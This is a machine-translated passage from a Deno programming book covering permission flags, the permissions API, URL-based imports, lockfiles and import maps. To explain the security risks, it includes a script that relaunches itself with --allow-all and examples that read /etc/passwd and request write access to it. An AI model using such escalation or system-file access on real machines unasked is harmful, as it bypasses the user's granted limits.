没有它,你的代码将不能使用外部插件,所以记住它!事实上,默认情况下你不能真正弄乱语言也是一个好处;这意味着你不会被第三方的恶意扩展所欺骗,在你不知情的情况下导入一个不需要的插件。

允许从磁盘读取和向其写入

没错,您可以在代码中执行的两个最基本的操作是读取一个文件和写入一个文件,正如您可能已经从到目前为止展示的示例中收集到的那样,默认情况下,您是不允许这样做的。

而且想想也有道理;如果将从主机磁盘读取与其他权限结合在一起,比如读取环境变量(就像我已经展示过的),那么从主机磁盘读取可能是一个危险的操作。而写入它的磁盘就更糟糕了;如果你不受限制,你几乎可以做任何事情。你可以覆盖重要文件,把你的部分恶意代码留在电脑内部,等等;你的想象力真的是极限了。

但是,问题是,由于允许您的脚本执行或不执行这些操作之一的权限太大,您可以提供一个白名单来允许读取和写入,但只能从预定义的文件夹(甚至文件)列表中读取和写入。

例如,如果您的代码从配置文件中读取配置选项,这是一个特别有用的功能。在这种情况下,您可以授予对该文件的特定读取权限,而不授予其他权限,这为任何需要使用您的代码的人提供了额外的安慰,因为它不会读取任何不应该读取的内容。

查看下面一行,了解如何配置白名单的示例:

$ deno run --allow-read=/etc/ yourscript.ts

尽管您的执行行可能会变得有点笨拙,但是您可以根据需要提供尽可能多的细节,如下面的示例行所示,在这里您可以看到您是如何提供日志将被写入的确切文件夹和配置将被读取的确切文件的。

$ deno run --allow-write=/your-app-folder/logs --allow-read=/your-app-folder/config/default.ini,/your-app-folder/config/credentials.ini yourscript.ts

如果您,作为一个外部用户,看到这个执行行,您可以放心,无论脚本在做什么,它都不会在您的系统上做任何有趣的事情。

允许您的脚本生成新的子流程

如果您打算做诸如与其他 OS 命令交互之类的事情,那么生成子进程是一项有用的任务;但问题是,从安全角度来看,这个概念本身是非常危险的。

这是因为以有限权限运行但能够启动子流程的脚本可能会以更多权限启动自身。查看清单 3-2 以了解如何做到这一点。

let readStatus = await Deno.permissions.query({name: "read"})

if(readStatus.state !== "granted") {
  const sp = Deno.run({
    cmd: [
      "deno",
      "run",
      "--unstable",
      "--allow-all",
      "reader.ts"
    ]
  })
  sp.status()
} else {
  const decoder = new TextDecoder('UTF-8')
  const fileContent = await Deno.readFile("./secret.txt")
  console.log(decoder.decode(fileContent))
}

Listing 3-2A script that calls itself with extra privileges

为了运行清单 3-2 中的代码,您需要使用--unstable标志,因为 Deno 名称空间上的permissions属性还不够稳定,不足以成为默认版本的一部分。请参见以下示例,了解如何运行该脚本:

$ deno run --unstable --allow-run reader.ts

清单 3-2 中的脚本证明您需要小心使用 allow-run 标志;否则,您可能会在不知情的情况下允许在您的计算机中发生权限提升事件。

正在检查可用权限

在回顾了为了让您的脚本正常工作您可以并且需要使用的所有安全标志之后,可以看到后端的一个潜在的新模式:检查可用的权限,或者我喜欢称之为 CAP。

CAP 的要点是,如果您继续像目前为止为后端项目所做的那样工作,一旦有人试图在没有足够权限的情况下执行您的代码,整个应用就会崩溃。除了 HRTime 之外,Deno 并没有优雅地贬低您没有足够的权限访问其他特性之一的事实,而是直接抛出类型为PermissionDenied的异常。

如果您的代码能够在尝试执行需要权限的代码之前检查您是否确实被授予了权限,而不仅仅是爆炸,会怎么样?当然,在有些情况下,如果没有它们,您将不能做任何事情,并且您将不得不停止执行,但是在其他情况下,您可能能够优雅地将逻辑降级为仍然能够运行的东西。例如,也许您没有被授予写权限,所以您的日志模块只是将所有内容输出到STDOUT中。也许没有提供ENV访问,但是您可以尝试从默认的配置位置读取这些值。

按照目前的情况,这种模式工作所需的代码是实验性的,在未来的更新中可能会有变化,所以您必须使用--unstable标志来执行它。我指的当然是Deno.permissions内部的 API,我已经在清单 3-2 中简单展示过了。

回到清单 3-2 ,我展示了在Deno.permissions路径下目前可用的三种方法中最简单的一种:query。它还可以用来确保您不仅被授予了特定的权限,而且可以访问特定的位置(就像白名单一样)。例如,清单 3-3 向您展示了如何检查您是否拥有对某个特定文件夹的读取权限。

const status = await Deno.permissions.query({ name: "read", path: "/etc" });
if (status.state === "granted") {
  data = await Deno.readFile("/etc/passwd");
}

Listing 3-3Checking for permissions before trying to make use of them

如果您不想将自己局限于检查某个特定的权限,而是请求一个,因为毕竟您需要它,那么您也可以使用request方法。这个方法的工作方式与query类似,但是它不是解析权限的当前状态,而是首先提示用户提供答案,然后将解析用户选择的任何内容。

const status = await Deno.permissions.request({ name: "env" });
if (status.state === "granted") {
   console.log(Deno.env.get("HOME"));
} else {
   console.log("'env' permission is denied.");
}

Listing 3-4Requesting permission from the user

清单 3-4 显示,实际上,查询和请求权限的代码是完全一样的(当然减去方法名),虽然输出有点不同;查看图 3-2 ,看看使用请求方法会得到什么。

img/501657_1_En_3_Fig2_HTML.jpg

图 3-2

请求用户的许可

您甚至可以添加额外的参数来验证该组中的特定位置或资源是否可访问。记住,我们已经看到当前支持白名单的权限是读、写和净。

对于前两个,可以使用对象的 path 属性请求对特定路径(文件或文件夹)的权限。对于网络资源,您可以使用 URL 属性。请看清单 3-5 中的例子。

const status = await Deno.permissions.request({ name: "write", path: "/etc/passwd" });
//...
const readingStatus = await Deno.permissions.request({ name: "read", path: "./secret.txt" });
//...
const netStatus = await Deno.permissions.request({ name: "net", url: "http://github.com" });
//...

Listing 3-5Requesting for specific access to resources

在所有这三种情况下,显示给用户的消息都将被更新,以指定您想要访问的资源的路径或 URL(参见清单 3-6 中关于用户如何看待它的示例)。

Deno requests write access to "/etc/passwd". Grant? [g/d (g = grant, d = deny)]
   ⚠  Deno requests read access to "./secret.txt". Grant? [g/d (g = grant, d = deny)]
   ⚠  Deno requests network access to "http://github.com,http://www.google.com". Grant? [g/d (g = grant, d = deny)]

Listing 3-6Requesting permissions to specific resources from the user POV

Note

虽然–allow-net 标志不要求您在将域列入白名单时指定 URL 的协议部分,但是为了请求访问它们,您必须提供完整的 URL;否则,你会得到一个错误。

清单 3-6 的最后一行显示,实际上您可以在任何给定时间请求访问多个资源,只要它们属于同一类型。清单 3-7 显示您可以稍后单独查询这些权限,没有任何问题。

const netStatus = await Deno.permissions.request({ name: "net", url: "http://github.com,http://www.google.com" });

//...
const githubAccess = await Deno.permissions.request({ name: "net", url: "http://github.com" });
console.log("Github: ", githubAccess.state)

const googleAccess = await Deno.permissions.request({ name: "net", url: "http://www.google.com" });
console.log("Google: ", googleAccess.state)

Listing 3-7Requesting grouped permissions and querying individually

无论您在第一个问题中回答了什么,稍后都将返回这两个资源。

最后,permissions API 让您做的最后一件事是撤销您自己对特定资源的访问。

同一个对象可以作为一个参数提供,就像其他两个方法一样,结果是取消了对您本可以访问的资源的访问。虽然有点矛盾,但如果您正在构建一些需要对配置更改做出反应的自动化代码,或者可能是某种需要提供和撤销对不同服务的权限的流程管理系统,甚至是覆盖脚本从命令行获得的任何权限,那么它可能是有用的。

Note

最后一部分很重要,因为 request 和 revoke 方法都会覆盖执行过程中使用的任何标志。

因此,如果您试图确保您的脚本(或其他人的脚本)不会被授予不应该拥有的资源的额外权限,这种方法会非常方便。参见清单 3-8 中的示例。

const envStatus= await Deno.permissions.revoke({ name: "env" });
if (envStatus.state === "granted") {
   console.log(Deno.env.get("HOME"));
} else {
   console.log("'env' permission is denied.");
}

Listing 3-8Revoking access to ENV permanently

当从清单 3-8 中调用脚本时,如果您使用了--allow-env标志,这并不重要;你不能访问那个环境变量。

结论

在构建其他人会使用的软件时,安全性无疑是一个大问题,以便为他们提供额外的一层“安心”,如果你在围栏的另一边,使用其他人构建的软件。

虽然安全标志机制对于以前从未担心过这个问题的后端开发人员来说可能有点笨拙或尴尬,但它们提供了一种经过尝试和测试的方法,与 CAP(哦,是的,我在这里使用我的名字)相结合,提供了相当好的用户体验。

在下一章中,我们将看到 Deno 如何通过简单地摆脱一切并回到基础来改变依赖管理的游戏,所以下一章见!

Footnotes 1

https://gruntjs.com/

  2

https://webpack.js.org/

 

四、不再有 NPM

可以说,这是 Deno 引入后端 JavaScript 领域的最有争议的变化:缺少包管理器。老实说,这并不是说他们放弃了对 NPM 的支持,如果你不知道的话,它实际上是 Node.js 的包管理器。这是说他们完全放弃了包管理器的概念,让后端开发人员像浏览器一样处理依赖关系。

这是一个好方法吗?会不会打破整个生态系统,让 Deno 社区崩溃?我现在不告诉你;你得自己去阅读和观察!

这一章有很多东西要解开,我们开始吧,好吗?

处理外部模块

首先:外部模块仍然是一个东西,仅仅因为没有包管理器,并不意味着它们会消失;你还是要和他们打交道。这不仅仅是关于你自己的外部模块;毕竟,任何自尊的语言(或者在这种情况下更确切地说是运行时)都不能希望开发人员在每次开始新项目时突然决定重新发明轮子。存在外部开发的模块,您应该利用这一事实。

这就是为什么 Deno 放弃了require函数,并采用 ES 模块标准来导入模块。这对你来说意味着什么?嗯,你可能已经见过这种语法了;这并不新鲜,如果你来自前端或者过去使用过 TypeScript,你会看到它,现在你可以写了

import functionname from 'package-url'

根据您需要从模块中提取的内容,functionname是其中之一,package-url是一个文件的完全合格的 URL 或本地路径,包括它的扩展名。没错;Deno 和 Node 的创造者 Ryan 决定放弃他在 Node 时代给我们的那个小小的语法方糖,因为现在你可以直接导入 TypeScript 模块

你没看错。感谢 TS 现在是 Deno land 的一等公民,你再也不用担心为了导入而编译你的模块;您只需直接链接到它们,Deno 的内部组件会处理剩下的事情。

至于被导入的functionname,也有几种方式来编写,这取决于你在寻找什么以及模块如何导出它的函数。

如果您只是想从模块中导入一些函数,您可以直接提到它们:

import _ from "https://deno.land/x/deno_lodash/mod.ts";

或者您甚至可以使用析构来直接指定您正在寻找的方法名:

import { get, has} from "https://deno.land/x/deno_lodash/mod.ts";

这允许您保持当前名称空间的干净,谁知道您可能会导入和不使用多少名称。这也是让其他人清楚地了解您希望从外部库的使用中获得什么的好方法。

我们还可以做其他事情,比如在赋值期间使用as关键字重命名导入,或者使用*字符将整个名称空间直接导入到我们自己的名称空间中(如清单 4-1 所示)。

import * as MyModule from './mymodule.ts'
import { underline } from "https://deno.land/std@v0.39.0/fmt/colors.ts"

Listing 4-1Importing modules by renaming or by destructuring assignment

还要注意在我前面的两个例子中,我是如何从外部 URL 导入的。这是至关重要的,因为这是第一次后端 JavaScript 运行时允许我们这样做。我们引用的不是带有这些 URL 的本地模块,而是可能在我们控制范围之外的东西,是其他人在某个地方发布的东西,我们现在正在使用。

这是 Deno 不需要包管理器的关键。它不仅允许您从任何 URL 导入模块,而且还会在您第一次执行时将它们缓存在本地。这些都是自动为你做的,所以你真的不需要担心。

处理包裹

现在,我知道你在想什么:“从偏僻的地方导入模块?谁来确保我得到我需要的版本?如果网址关闭会发生什么?”

这些都是非常有效的问题,事实上,当公告发布时,我们都问过自己,但是不要担心,有答案!

从偏僻的地方进口

如果您来自 Node.js,那么没有集中的包存储库这个事实听起来可能有点可怕。但是如果你仔细想想,一个分散的存储库消除了任何由于技术问题而不可用的可能性。相信我,在 npm 的最初几天,有时整个注册中心都会停机,如果你不得不将某些东西部署到生产环境中并依赖它,那么你就有麻烦了。

当然,现在已经不是这样了,但它也确实是一个私有的仓库,有一天可能会被关闭,这将影响到所有的项目。相反,Deno 试图从一开始就消除这个潜在的问题,并决定选择浏览器路线。毕竟,如果你曾经写过一些前端代码,或者曾经检查过一个网站的代码,你会注意到页面顶部的script标签,本质上是从不同的位置导入第三方代码。

而且就像浏览器一样,Deno 也会缓存那些库,这样你就不用每次执行脚本的时候都下载了;事实上,除非您特别使用--reload标志,否则您将不必再下载它们。默认情况下,这个缓存位于DENO_DIR中,如果没有在系统中定义为环境变量,可以在终端上使用deno info命令进行查询。例如,清单 4-2 显示了我的本地系统中该命令的输出。

DENO_DIR location: "/Users/fernandodoglio/Library/Caches/deno"
Remote modules cache: "/Users/fernandodoglio/Library/Caches/deno/deps"
TypeScript compiler cache: "/Users/fernandodoglio/Library/Caches/deno/gen"

Listing 4-2Output from the deno info command

现在,到目前为止,这至少听起来很有趣,但是考虑一个有数百个(如果不是更多的话)文件的大项目,这些文件从不同的位置导入模块。如果出于某种原因,它们中的一些突然改变位置(也许它们被迁移到不同的服务器上),会发生什么呢?然后,您必须逐个文件地更新来自 import 语句的 URL。这与理想相差甚远,这就是 Deno 提供解决方案的原因。

类似于 Node.js 项目中的package.json文件,您可以在单个文件中导入所有内容;让我们称之为deps.ts,并从该文件中导出项目中需要的任何内容。这样,从你所有的文件中,你可以导入deps.ts文件。这种模式将保留一个集中的依赖项列表,这是对从任何地方直接导入 URL 的原始想法的巨大改进。清单 4-3 展示了一个例子,展示了deps.ts文件的样子,以及如何从另一个文件中使用它。

//deps.ts
export * as MyModule from './mymodule.ts'
export {underline} from "https://deno.land/std@v0.39.0/fmt/colors.ts"

//script.ts
import {underline} from './deps.ts'
console.log(underline("This is underlined!"))

Listing 4-3Centralizing the imports into a single file

包版本呢?

在这里,版本控制也是一个值得关注的问题,因为在导入时,您只是指定了文件的 URL,而不是它的版本。还是你?再看清单 4-3;在那里,您可以看到第二个导出语句在 URL 中包含了一个版本。

这就是在基于 URL 的方案中处理版本控制的方式。当然,这不是来自 URL 或 HTTP 的一些晦涩难懂的特性;这只是在包含版本的 URL 下发布您的模块,或者使用某种形式的负载平衡规则从 URL 解析版本,并将请求重定向到正确的文件。

在发布 Deno 模块的同时,真的没有标准或硬性要求让你去实现;您必须确定的是提供某种版本控制方案。否则,你的用户将无法锁定一个特定的版本,相反,他们将总是下载最新的版本,不管它是否适合他们。

Caution

如您所见,Deno 的打包方案比 Node 的要简单得多,这是在前端复制一种已经使用多年的方法的有效尝试。也就是说,大多数后端语言都有一个更明确、也可能更复杂的打包系统,所以如果你希望与他人共享你的代码,就要转而使用 Deno,你必须记得以某种方式将版本包含在 URL 的一部分中,否则你将为你的消费者提供非常糟糕的服务。

虽然这听起来可以理解,但现在的问题是:您真的必须拥有自己的 web 服务器,并以允许您将版本控制方案添加到 URL 中的方式配置它,以便您可以以合理的方式为 Deno 模块提供服务吗?不,你没有。事实上,如果你允许的话,已经有一个平台可以帮你做到这一点:GitHub。 1

如果你不熟悉它,GitHub 允许你发布你的代码并免费与他人分享;它与被称为 Git 的版本控制系统一起工作,在许多地方它几乎是一个行业标准。他们甚至有一个企业版,所以你甚至可以把它用于你公司的内部仓库。

关于 GitHub 有趣的事情是,他们使用包含 Git 标签或 Git 提交散列的 URL 方案来发布你的内容。尽管提交散列并不像人们所希望的那样“对人友好”(即b265e725845805d0c6691abbe7169f1ada8c4645),但是您绝对可以使用标记名作为包的版本。

为了解释这一点,我创建了一个简单的公共存储库 2 ,并使用四个不同的标签将一个简单的“HelloWorld”模块的四个不同版本发布到 GitHub 中,如图 4-1 所示。

img/501657_1_En_4_Fig1_HTML.jpg

图 4-1

GitHub 上示例模块的标签列表

现在,为了创建标签,你所要做的就是使用清单 4-4 中的git tag命令。

//... write your module until you're done with its 1st version
$ git add <your files here>
$ git commit -m <your commit message here>
$ git tag 1.0 //or however you wish you name your versions
$ git push origin 1.0

Listing 4-4Using Git to tag your module’s code

一旦这一切结束,代码被推送,你就可以进入 GitHub,选择模块的主文件,从屏幕左上象限的分支选择器中选择你想要包含的标签,如图 4-2 所示。

img/501657_1_En_4_Fig2_HTML.jpg

图 4-2

选择您想要的文件版本

一旦你选择了标签(版本),你就可以点击对角的“Raw”按钮(页面代码部分的右上角);这将在没有任何来自 GitHub 的 UI 的情况下打开文件,如果您查看 URL,您会看到版本已经是它的一部分(如果您找不到它,请查看图 4-3 )。

img/501657_1_En_4_Fig3_HTML.jpg

图 4-3

在 GitHub 上获取我们文件的原始 URL

这样做会打开一个类似于 https://raw.githubusercontent.com/deleteman/versioned-deno-module/ 4.0 /hello.ts 的 URL(注意粗体部分是 GitHub 添加标签名的地方;您可以更改它来引用其他版本,而不必更改任何其他内容),然后您可以在代码中使用它来导入代码。

在这个过程中有两点需要注意:

  1. 注意在图 4-3 的代码顶部,我是如何导入一个本地文件的。该文件也会被版本化,因此您不必担心可能存在的任何本地依赖性;如果链接到主模块文件的正确版本,它们都会被正确引用。

  2. 在这个过程中,您实际上是将您的 Deno 模块发布到一个免费使用的 CDN 中,该 CDN 肯定会一直可用。不需要配置它或支付任何费用,只需担心你的代码和其他任何东西。事实上,由于 GitHub 的所有其他特性,您还获得了一些东西,比如当用户想要报告问题时的票证管理,当其他人想要为您的模块做贡献时的拉式请求控制,等等。尽管有其他的选择,你也可能有自己喜欢的 CDN,但在这种情况下,使用 GitHub 可能是一箭双雕的好方法。

锁定依赖项的版本

理解 Deno 如何处理包的版本很大一部分是理解如何锁定它们。您看,对于任何打包方案,您都希望锁定依赖项的版本,以确保无论您在哪里部署代码,您都将始终使用相同的代码。否则,当部署到生产环境时,您可能会因为下载具有重大更改的模块的新版本而遇到问题。

这实际上是一个非常普遍的情况,没有经验的开发者认为链接到最新版本的包总是最好的;毕竟, latest 总是意味着“更多的 bug 被修复,更多的特性被发布。”当然,这是一种非常幼稚且有潜在危险的方法;毕竟,谁知道问题中的模块会随着时间的推移如何发展,以及哪些特性会被删除。依赖树的一个关键方面是它需要是幂等的,也就是说无论你部署它多少次,最终结果(也就是你得到的代码)总是一样的。

为了实现这个目标,Deno 提供了--lock--lock-write标志。第一个标志让您指定锁文件驻留的位置,而第二个标志告诉解释器也将所有与锁相关的信息写入磁盘。这是你如何使用它们。

为了第一次创建锁文件,您必须使用两者,如下面的代码片段所示:

$ deno run --lock=locks.json --lock-write script.ts

这一行的执行将生成一个 JSON 文件,其中包含树中所需的所有外部依赖项的校验和和版本信息。清单 4-5 展示了该文件的一个例子。

{
    "https://deno.land/std@v0.39.0/fmt/colors.ts": "e34eb7d7f71ef64732fb137bf95dc5a36382d99c66509c8cef1110e358819e90"
}

Listing 4-5Lockfile sample

将该文件作为存储库的一部分,您现在可以安全地部署到生产环境中,并告诉 Deno 对所有正在部署的依赖项始终使用完全相同的版本,如下面的代码片段所示:

$ deno run --reload --lock-file=locks.json script.ts

注意,我在这里添加了一个新的标志:--reload。这是告诉 Deno 重新加载它的缓存,或者换句话说,使用locks.json文件作为指导重新下载依赖项。当然,这需要在部署后完成;脚本的后续执行不应该使用--reload标志。所以你可以做一些我在清单 4-6 中展示的事情,不要把更新缓存和代码的实际执行混在一起。

# Right after deployment
$ deno cache --reload --lock=locks.json deps.ts

# Executing your script

$ deno run --lock=locks.json script.ts

Listing 4-6Splitting the actions of updating the cache and executing the code

这里首先要注意的是,在第一行,我只是更新了缓存,没有执行一行代码。事实上,我甚至没有引用我的脚本文件;我引用的是依赖文件(deps.ts)。这里的第二个细节是,虽然我已经更新了缓存,但我仍然告诉 Deno 用 lockfile 执行脚本,但是为什么呢?

这是因为还有一件事可能出错,这个 lockfile 特性背后的团队也为您提供了一种检查它的方法:如果自从您上次在开发环境中使用它以来,您试图部署的模块版本的代码发生了变化,该怎么办?

有了一个为你控制一切的中央模块库(例如,阿拉 NPM),这不会是一个问题,因为版本会自动更新,但这不是这里的情况。有了 Deno,我们给模块开发者每一盎司的自由去做他们想做的任何事情,当然包括更新代码而不自动改变版本号。

如果与没有提供锁文件的缓存更新操作(即没有使用--lock标志的deno cache --reload)相混合,将导致本地缓存与您过去开发时使用的缓存不完全一样。换句话说,您刚刚部署的机器的本地缓存中的代码与本地缓存中的代码并不完全相同,而且应该是相同的(至少是你们共享的模块的代码)。

这就是校验和发挥作用的地方。还记得清单 4-5 中的散列吗?该代码将用于在执行脚本时检查该文件本地版本的哈希。如果两个散列不匹配,您将得到一个错误,脚本将不会被执行(如清单 4-7 所示)。

Subresource integrity check failed --lock=locks.json
https://deno.land/std@v0.39.0/fmt/colors.ts

Listing 4-7Integrity error for one of the dependencies

清单 4-7 中显示的错误清楚地表明了 lockfile 中的一个依赖项存在完整性问题,然后给出了它的 URL。在这种情况下,它显示了颜色模块的问题。

进行实验:使用导入贴图

到目前为止,显示的所有内容都可以在 Deno 的当前发布版本中开箱即用。但是对于这个特性,我们将不得不使用--unstable标志,因为这还没有完全完成,并且是一个实验性的特性。

导入映射允许您重新定义处理导入的方式。还记得我之前提到的deps.ts文件吗?还有另一种简化导入的方法,这样你就不必到处使用 URL,那就是定义这些 URL 和你可以使用的特定关键字之间的映射。

让我用一个例子来解释一下:在 Deno 标准模块的格式化模块中,有两个子模块,colors(我在本章的一些例子中使用过)和 printf。因此,如果您想使用它们,您必须使用两者的全限定 URL 将它们导入到您的代码中。但是有了导入地图,还有另外一种方法;您可以定义一个 JSON 文件,在其中创建我之前提到的映射,类似于清单 4-8 。

{
   "imports": {
      "fmt/": "https://deno.land/std@0.55.0/fmt/"
   }
}

Listing 4-8Example of an import map file

这样,您就可以使用清单 4-9 中的代码行导入这两个模块的任何一个导出函数。

import red from "fmt/colors.ts"
import printf from "fmt/printf.ts"

Listing 4-9Taking advantage of the import map

当然,这只有在您将--unstable标志与--importmap结合使用时才有效,如下所示:

$ deno run --unstable --importmap=import_map.json myscript.ts

如果您来自 Node,那么这种方法一定非常熟悉,因为它与您处理package.json文件的方式非常相似。

您还可以使用 import map 做其他有趣的事情,例如通过将模块的无扩展版本映射到特定版本,或者为所有本地导入添加前缀,来消除向导入添加扩展的需求。参见清单 4-10 中的例子。

//import_map.json
{
"imports": {
  "fmt/": "https://deno.land/std@0.55.0/fmt/",
  "local/": "./src/libs/",
  "lodash/camelCase": "https://deno.land/x/lodash/camelCase.js"
  }
}

//myscript.ts
import {getCurrentTimeStamp} from 'local/currtime.ts'
import camelCase from 'lodash/camelCase'
import {bold, red} from 'fmt/colors.ts'

console.log(bold(camelCase("Using mapped local library: ")), red(getCurrentTimeStamp()))

Listing 4-10Using import mapping to simplify imports from your scripts

在清单 4-10 的代码中,我们有几个导入映射可以提供什么的例子:

  1. 将 URL 缩短为简单前缀的简化方法

  2. 一种通过直接映射到模块的首选版本来消除扩展的方法

  3. 一种简化本地文件夹结构的方法,通过将一个短前缀映射到我们目录结构中一个潜在的长路径

使用导入映射的唯一缺点,除了它还不是 100%稳定的明显事实之外,就是因为这个原因,像 VS Studio 这样的 ide 和它的插件不会考虑它,因此当实际上没有导入时会显示丢失导入的错误。

结论

第四章到此结束;希望到现在为止,您已经认识到缺少集中的模块库实际上并不是一件坏事。有一些简单的变通方法,提供了许多其他系统(如 NPM)为节点开发人员提供的功能,还可以让您对自己的模块做任何想做的事情。

当然,这也带来了额外的风险,即让开发人员随心所欲地使用他们的模块,所以如果您打算与 Deno 社区共享您的工作,请考虑这一点,并在发布您的工作之前采取所有可能的预防措施。

下一章将介绍 Deno 的标准库、一些最有趣的模块,以及如何在 Deno 代码中重用节点社区中其他人的工作,而不必重新发明轮子。

Footnotes 1

https://github.com

  2

https://github.com/deleteman/versioned-deno-module